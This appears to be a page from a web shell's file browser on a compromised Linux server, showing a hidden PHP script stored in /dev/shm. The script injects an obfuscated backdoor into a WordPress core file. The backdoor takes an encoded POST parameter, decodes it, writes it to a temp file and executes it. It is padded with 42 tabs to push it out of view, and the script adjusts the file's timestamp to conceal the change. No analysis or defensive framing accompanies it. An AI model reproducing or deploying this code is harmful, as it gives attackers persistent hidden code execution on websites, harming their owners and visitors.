HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1w
System: Linux server.mediaphic.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: efhamali (1088)
PHP: 7.3.33
Disabled: exec,passthru,shell_exec,system,show_source,mail,sendmail,popen,symlink,phpinfo
Upload Files
File: //dev/shm/.obj
<?php  $path = '/home/oasismet/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Fe.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28%21is_null%28%24_POST%5B%22%5Cx70s%5Cx65t%22%5D%20%3F%3F%20null%29%29%7B%20%24fac%20%3D%20%24_POST%5B%22%5Cx70s%5Cx65t%22%5D%3B%20%24fac%20%3Dexplode%20%28%20%22.%22%20%2C%20%24fac%20%29%3B%20%24mrk%20%3D%20%27%27%3B%20%24s%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3D%20strlen%28%24s%29%3B%20%24v%20%3D%200%3B%20foreach%20%28%24fac%20as%20%24v6%29%20%7B%20%24chS%20%3D%20ord%28%24s%5B%24v%20%25%24lenS%5D%29%3B%20%24dec%20%3D%20%28%28int%29%24v6%20-%20%24chS%20-%20%28%24v%20%2510%29%29%20%5E%2019%3B%20%24mrk.%3D%20chr%28%24dec%29%3B%20%24v%2B%2B%3B%20%7D%20%24entry%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TMP%22%29%2C%20session_save_path%28%29%5D%29%3B%20foreach%20%28%24entry%20as%20%24entity%29%20%7B%20if%20%28%28bool%29is_dir%28%24entity%29%20%26%26%20%28bool%29is_writable%28%24entity%29%29%20%7B%20%24reference%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24entity%2C%20%22.ptr%22%5D%29%3B%20if%20%28file_put_contents%28%24reference%2C%20%24mrk%29%29%20%7B%20require%20%24reference%3B%20unlink%28%24reference%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         // +10s: opcache sees a newer mtime; date stays close to original         @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!');